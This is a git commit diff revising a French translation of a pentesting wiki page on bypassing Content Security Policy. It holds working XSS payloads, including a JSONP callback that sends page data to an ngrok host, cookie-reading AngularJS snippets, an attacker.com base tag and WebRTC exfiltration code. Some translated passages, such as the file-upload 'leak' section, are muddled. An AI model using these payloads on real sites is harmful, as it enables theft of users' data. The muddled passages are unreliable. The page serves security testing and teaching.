Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

This commit is contained in:
Translator 2023-11-03 13:36:07 +00:00
parent 9ea31cb6b4
commit 99949789a8

View file

@ -33,7 +33,7 @@ Gagnez des points de réputation avec chaque bug vérifié et conquérez le somm
La politique de sécurité du contenu (Content Security Policy ou CSP) est une technologie intégrée au navigateur qui **aide à se protéger contre des attaques telles que les scripts intersites (XSS)**. Elle répertorie et décrit les chemins et sources à partir desquels le navigateur peut charger en toute sécurité des ressources. Les ressources peuvent inclure des images, des frames, du javascript et plus encore. Voici un exemple de ressources autorisées à être chargées et exécutées en ligne à partir du domaine local (self), et permettant l'exécution de code sous forme de chaîne avec des fonctions telles que `eval`, `setTimeout` ou `setInterval:`
La politique de sécurité du contenu est mise en œuvre via **les en-têtes de réponse** ou **les éléments meta de la page HTML**. Le navigateur suit la politique reçue et bloque activement les violations détectées.
La politique de sécurité du contenu est mise en œuvre via des **en-têtes de réponse** ou des **éléments meta de la page HTML**. Le navigateur suit la politique reçue et bloque activement les violations détectées.
Mise en œuvre via l'en-tête de réponse :
```http
@ -148,18 +148,20 @@ Payloads de travail:
Lorsque vous effectuez un test de pénétration sur une application Web, il est courant de rencontrer une politique de sécurité du contenu (CSP) qui restreint les sources autorisées pour les ressources chargées par l'application. Cela peut inclure des restrictions sur les scripts, les images, les polices, etc.
Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources provenant du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers, car le navigateur bloque les tentatives de chargement de fichiers provenant d'autres domaines.
Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources provenant du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers, car le navigateur bloque les requêtes vers des domaines tiers.
Cependant, il existe une technique pour contourner cette restriction lors du téléchargement de fichiers. Vous pouvez utiliser une faille de type "leak" pour envoyer le fichier à un service tiers, puis récupérer le lien de téléchargement de ce service tiers et le fournir à l'utilisateur.
Cependant, il existe une technique pour contourner cette restriction lors du téléchargement de fichiers. Vous pouvez utiliser une faille de type "leak" pour envoyer le fichier vers un service tiers, puis récupérer l'URL de téléchargement à partir de ce service et la fournir à l'utilisateur.
Voici comment cela fonctionne :
1. L'application Web permet aux utilisateurs de télécharger des fichiers.
2. Lorsqu'un utilisateur télécharge un fichier, l'application envoie ce fichier à un service tiers (par exemple, un service de stockage en ligne).
3. Le service tiers génère un lien de téléchargement unique pour le fichier.
4. L'application récupère ce lien de téléchargement et le fournit à l'utilisateur.
1. L'application Web permet à l'utilisateur de télécharger un fichier.
2. Au lieu de télécharger directement le fichier sur le serveur de l'application, vous envoyez le fichier vers un service tiers (par exemple, un service de stockage en nuage).
3. Une fois le fichier téléchargé sur le service tiers, vous récupérez l'URL de téléchargement générée par le service.
4. Vous fournissez cette URL à l'utilisateur, qui peut alors télécharger le fichier en cliquant dessus.
De cette façon, le fichier est téléchargé à partir du service tiers, contournant ainsi la restriction CSP. Cependant, il est important de noter que cette technique peut présenter des risques de sécurité, notamment en ce qui concerne la confidentialité des données téléchargées.
De cette façon, vous contournez la restriction CSP "default-src 'self'" en utilisant un service tiers pour héberger le fichier et en fournissant simplement l'URL de téléchargement à l'utilisateur.
Il est important de noter que cette technique ne fonctionnera que si le service tiers utilisé n'est pas bloqué par la politique CSP de l'application. Vous devrez donc trouver un service tiers qui n'est pas restreint par la politique CSP en vigueur.
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
@ -219,7 +221,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Charges utiles utilisant Angular + une bibliothèque avec des fonctions qui renvoient l'objet `window` ([consultez cet article](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -262,13 +264,15 @@ ng-init="c.init()"
```
### Points de terminaison tiers + JSONP
JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources de contenu autorisées à être chargées sur leurs pages. Cela aide à prévenir les attaques telles que l'injection de scripts malveillants.
JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources légitimes de contenu qui peuvent être chargées sur leurs pages. Cela aide à prévenir les attaques de type cross-site scripting (XSS) en limitant les sources de contenu autorisées.
Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, l'accès aux données peut être bloqué. C'est là que JSONP entre en jeu.
Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, il est possible d'utiliser JSONP pour contourner cette restriction.
JSONP fonctionne en ajoutant dynamiquement un élément de script à la page web qui pointe vers le point de terminaison tiers. Ce point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Lorsque le script est chargé, la fonction de rappel est exécutée avec les données JSON en tant que paramètre.
JSONP fonctionne en ajoutant dynamiquement un script à la page web qui charge les données JSON à partir du point de terminaison tiers. Le point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Lorsque le script est chargé, la fonction de rappel est exécutée avec les données JSON en tant que paramètre.
Cela permet de contourner la CSP car les scripts sont autorisés par défaut dans la CSP. Cependant, il est important de noter que JSONP présente des risques de sécurité, tels que l'exécution de code malveillant provenant de sources non fiables. Par conséquent, il est recommandé de l'utiliser avec prudence et de mettre en place des mesures de sécurité supplémentaires pour atténuer ces risques.
Pour exploiter cette vulnérabilité, un attaquant peut utiliser un point de terminaison tiers vulnérable à JSONP pour exécuter du code malveillant sur la page web cible. Cela peut permettre à l'attaquant de voler des informations sensibles, d'injecter du contenu malveillant ou de compromettre la sécurité de la page web.
Il est important de noter que JSONP présente des risques de sécurité et est considéré comme une technique obsolète. Il est recommandé d'utiliser des méthodes plus sécurisées, telles que CORS (Cross-Origin Resource Sharing), pour accéder à des ressources tierces de manière contrôlée et sécurisée.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -282,14 +286,27 @@ Des scénarios comme celui-ci où `script-src` est défini sur `self` et un doma
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner la CSP de différents sites web.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner CSP sur différents sites web.**
La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est fiable, les redirections sont fiables.
La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance.
### Contournement du chemin du dossier
### Contournement via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Si la politique CSP pointe vers un dossier et que vous utilisez **%2f** pour encoder **"/"**, il est toujours considéré comme étant à l'intérieur du dossier. Tous les navigateurs semblent être d'accord avec cela.\
Cela conduit à un contournement possible, en utilisant "**%2f..%2f**" si le serveur le décode. Par exemple, si CSP autorise `http://example.com/company/`, vous pouvez contourner la restriction du dossier et exécuter : `http://example.com/company%2f..%2fattacker/file.js`
En plus de la redirection mentionnée précédemment pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si CSP autorise le chemin `https://example.com/scripts/react/`, il peut être contourné de la manière suivante:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Le navigateur finira par charger `https://example.com/scripts/angular/angular.js`.
Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
Cependant, pour certains serveurs, lorsqu'ils reçoivent la requête, ils la décodent, ce qui revient à demander `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploitant cette incohérence dans l'interprétation de l'URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, en garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -303,14 +320,14 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage suspendu**](../dangling-markup-html-scriptless-injection/).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `/js/app.js`) en utilisant un **Nonce**, vous pouvez exploiter la **balise base** pour le faire **charger** le script depuis **votre propre serveur et réaliser une XSS**.\
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez exploiter la **balise base** pour le faire **charger** le script depuis **votre propre serveur, réalisant ainsi une XSS**.\
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise base.
```html
<base href="https://www.attacker.com/">
```
### Événements AngularJS
Selon la politique spécifique, le CSP bloquera les événements JavaScript. Cependant, AngularJS définit ses propres événements qui peuvent être utilisés à la place. Lorsqu'il est à l'intérieur d'un événement, AngularJS définit un objet spécial `$event`, qui fait simplement référence à l'objet d'événement du navigateur. Vous pouvez utiliser cet objet pour contourner le CSP. Sur Chrome, il existe une propriété spéciale sur l'objet `$event/event` appelée `path`. Cette propriété contient un tableau d'objets qui provoque l'exécution de l'événement. La dernière propriété est toujours l'objet `window`, que nous pouvons utiliser pour effectuer une évasion de bac à sable. En passant ce tableau au filtre `orderBy`, nous pouvons énumérer le tableau et utiliser le dernier élément (l'objet `window`) pour exécuter une fonction globale, telle que `alert()`. Le code suivant démontre cela:
Selon la politique spécifique, le CSP bloquera les événements JavaScript. Cependant, AngularJS définit ses propres événements qui peuvent être utilisés à la place. Lorsqu'il est à l'intérieur d'un événement, AngularJS définit un objet spécial `$event`, qui fait simplement référence à l'objet d'événement du navigateur. Vous pouvez utiliser cet objet pour contourner le CSP. Sur Chrome, il existe une propriété spéciale sur l'objet `$event/event` appelée `path`. Cette propriété contient un tableau d'objets qui provoque l'exécution de l'événement. La dernière propriété est toujours l'objet `window`, que nous pouvons utiliser pour effectuer une évasion de bac à sable. En passant ce tableau au filtre `orderBy`, nous pouvons énumérer le tableau et utiliser le dernier élément (l'objet `window`) pour exécuter une fonction globale, telle que `alert()`. Le code suivant illustre cela :
```markup
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@ -333,9 +350,39 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
```
D'autres points d'exécution arbitraire JSONP peuvent être trouvés [**ici**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains d'entre eux ont été supprimés ou corrigés).
### Contournement via redirection
Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène à une origine différente qui n'est pas autorisée, elle échouera toujours.
Cependant, selon la description dans [la spécification CSP 4.2.2.3. Chemins et redirections](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un chemin différent, elle peut contourner les restrictions d'origine.
Voici un exemple :
```html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Si CSP est défini sur `https://www.google.com/a/b/c/d`, étant donné que le chemin est pris en compte, les scripts `/test` et `/a/test` seront tous deux bloqués par CSP.
Cependant, le lien final `http://localhost:5555/301` sera **redirigé côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Étant donné qu'il s'agit d'une redirection, le **chemin n'est pas pris en compte** et le **script peut être chargé**, contournant ainsi la restriction du chemin.
Avec cette redirection, même si le chemin est spécifié en entier, il sera quand même contourné.
Par conséquent, la meilleure solution est de s'assurer que le site web ne présente aucune vulnérabilité de redirection ouverte et qu'il n'y a aucun domaine pouvant être exploité dans les règles CSP.
### Contourner CSP avec du balisage suspendu
Lisez [comment ici](../dangling-markup-html-scriptless-injection/).
Lire [comment faire ici](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; via XSS
```
@ -444,13 +491,13 @@ run();
```
### Via Bookmarklets
Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code JavaScript malveillant** qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre Web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que les cookies ou les jetons.
Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code JavaScript malveillant** qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre Web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que les cookies ou les jetons.
Pour plus d'informations, [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Contournement de la CSP en restreignant la CSP
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **écrasement du DOM**, permet de **utiliser un autre script pour charger un script arbitraire**.
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **dom clobbering**, permet de **utiliser un autre script pour charger un script arbitraire**.
Vous pouvez **restreindre une CSP d'un iframe** avec l'attribut **`csp`**:
@ -470,9 +517,9 @@ CSP peut être rendu plus restrictif en utilisant des **balises méta HTML** et
```
### Exfiltration JS avec Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela va **déclencher une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Pour un exemple, [**consultez cette publication de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Pour un exemple, [**consultez cette solution de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
@ -483,14 +530,14 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
Imaginez une situation où une **page redirige** vers une autre **page avec un secret en fonction** de l'**utilisateur**. Par exemple, lorsque l'utilisateur **admin** accède à **redirectme.domain1.com**, il est redirigé vers **adminsecret321.domain2.com** et vous pouvez provoquer un XSS sur l'administrateur.\
**De plus, les pages redirigées ne sont pas autorisées par la politique de sécurité, mais la page qui redirige l'est.**
Vous pouvez divulguer le domaine vers lequel l'administrateur est redirigé grâce à :
Vous pouvez divulguer le domaine vers lequel l'administrateur est redirigé via :
* **une violation de la CSP**
* **des règles de la CSP.**
* **les règles de la CSP.**
La violation de la CSP est une fuite instantanée. Il suffit de charger un iframe pointant vers `https://redirectme.domain1.com` et d'écouter l'événement `securitypolicyviolation` qui contient la propriété `blockedURI` contenant le domaine de l'URI bloquée. Cela est dû au fait que `https://redirectme.domain1.com` (autorisé par la CSP) redirige vers `https://adminsecret321.domain2.com` (**bloqué par la CSP**). Cela exploite un comportement indéfini sur la façon de gérer les iframes avec la CSP. Chrome et Firefox se comportent différemment à cet égard.
La violation de la CSP est une fuite instantanée. Tout ce qui doit être fait est de charger un iframe pointant vers `https://redirectme.domain1.com` et d'écouter l'événement `securitypolicyviolation` qui contient la propriété `blockedURI` contenant le domaine de l'URI bloquée. Cela est dû au fait que `https://redirectme.domain1.com` (autorisé par la CSP) redirige vers `https://adminsecret321.domain2.com` (**bloqué par la CSP**). Cela exploite un comportement indéfini sur la façon de gérer les iframes avec la CSP. Chrome et Firefox se comportent différemment à cet égard.
Lorsque vous connaissez les caractères qui peuvent composer le sous-domaine secret, vous pouvez également utiliser une recherche binaire et vérifier quand la CSP bloque la ressource et quand elle ne le fait pas en créant différents domaines interdits dans la CSP (dans ce cas, le secret peut être sous la forme doc-X-XXXX.secdrivencontent.dev)
Lorsque vous connaissez les caractères qui peuvent composer le sous-domaine secret, vous pouvez également utiliser une recherche binaire et vérifier quand la CSP bloque la ressource et quand elle ne le fait pas en créant différents domaines interdits dans la CSP (dans ce cas, le secret peut être sous la forme doc-X-XXXX.secdrivencontent.dev).
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -533,7 +580,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point d'extrémité d'une page** pour **abuser** **d'autres points d'extrémité de la même origine.** Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous souhaitez abuser. De cette façon, le **point d'extrémité vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **point d'extrémité réel à abuser**. Pour plus d'informations, consultez :
SOME est une technique qui exploite une XSS (ou une XSS très limitée) **dans un point d'extrémité d'une page** pour **exploiter** **d'autres points d'extrémité de la même origine.** Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous souhaitez exploiter. De cette façon, le **point d'extrémité vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **point d'extrémité réel à exploiter**. Pour plus d'informations, consultez :
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@ -541,7 +588,7 @@ SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans
De plus, **wordpress** dispose d'un point d'extrémité **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflète** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
Un attaquant peut abuser de ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut abuser de l'**attaque SOME** via le point d'extrémité de **rappel** vulnérable qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
Un attaquant peut exploiter ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut exploiter l'**attaque SOME** via le point d'extrémité de **rappel** **vulnérable** qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements de la politique de sécurité du contenu (CSP) pour l'exfiltration
@ -591,10 +638,22 @@ Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
En réalité, vous pouvez *fuir* des informations en utilisant une *requête DNS*. Jetez un coup d'œil à ce code :
En réalité, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Jetez un coup d'œil à ce code :
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Une autre option:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Vérification des politiques CSP en ligne
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
@ -611,6 +670,7 @@ En réalité, vous pouvez *fuir* des informations en utilisant une *requête DNS
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)